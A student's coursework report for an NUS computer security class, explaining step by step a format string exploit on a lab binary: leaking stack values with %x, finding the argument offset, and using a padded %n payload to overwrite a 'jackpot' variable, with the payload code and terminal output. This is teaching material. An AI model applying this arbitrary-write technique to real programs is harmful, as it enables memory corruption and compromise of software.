NUS CS-3235: Computer Security October 14, 2020

Assignment 2 Report - Part 2

Lecturer: Reza Shokri *Student: Tan Wei, Adam A0180277B*

1 Format String

- By looking at the code, we can tell that there are 2 ways to make jackpot = 0x1337. The first is to run the program n times and jackpot might happen to be set to 0x1337 by the random function. The second is to manually write 0x1337 into the value at the address of jackpot.

- We find the address of jackpot by running the program once with an empty string. The address we get is: 0x601074

```
student@student-VirtualBox:~/Desktop/a2/format_string$ ./format_string
Give me a string to print


jackpot @ 0x601074 = 589177816 [0x231e23d8]
You lost :(
student@student-VirtualBox:~/Desktop/a2/format_string$
```

- The next step was to see which argument number leaks the value we require from the stack. So we append a string of '%x's to the 0x00601074 address bytes to find the argument number.(The address is appended to a 0x00 byte to align it with the length of the address)

```
payload =  "%x %x %x %x %x %x %x %x %x %x %x\x74\x10\x60\00"

pl = open("./payload", "wb")

pl.write(payload)
```

From the resulting output we can then identify that the start of the 32nd byte is read in by the 10th argument.(Highlighted in yellow in the output below)

```
student@student-VirtualBox:~/Desktop/a2/format_string$ ./format_string < payload
Give me a string to print
69277670 80 cacd7320 cb1b7700 cafa4120 25207825 20782520 78252078 25207825 60107
4 0t jackpot @ 0x601074 = 956862169 [0x39088ed9]
You lost :(
student@student-VirtualBox:~/Desktop/a2/format_string$
```

- Since we included whitespace to prepare for our payload written into 0x601074, we can now change the 10th argument to %n which allows us to write the number of characters printed up till the argument into the address 0x601074.

- To print an arbitrary length string using printf we use the %0NUMBERd argument to write an integer with leading zeros up till length NUMBER. The corresponding value required for NUMBER is 4856, calculated by taking into account the values printed by the trailing %x

```
payload = "%04856dAAAAx%x%x%x%x%x%x%x%x%n%p\x74\x10\x60\00"
```

```
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000001640977408890xx802c9ae3202ce8e7002
cc7b12038343025787830397825782578257825(nil)t jackpot @ 0x601074 = 4919 [0x0000
1337]
You won!
student@student-VirtualBox:~/Desktop/a2/format string$
```

- The result is writing 0x1337 into jackpot leading us to a "win" outcome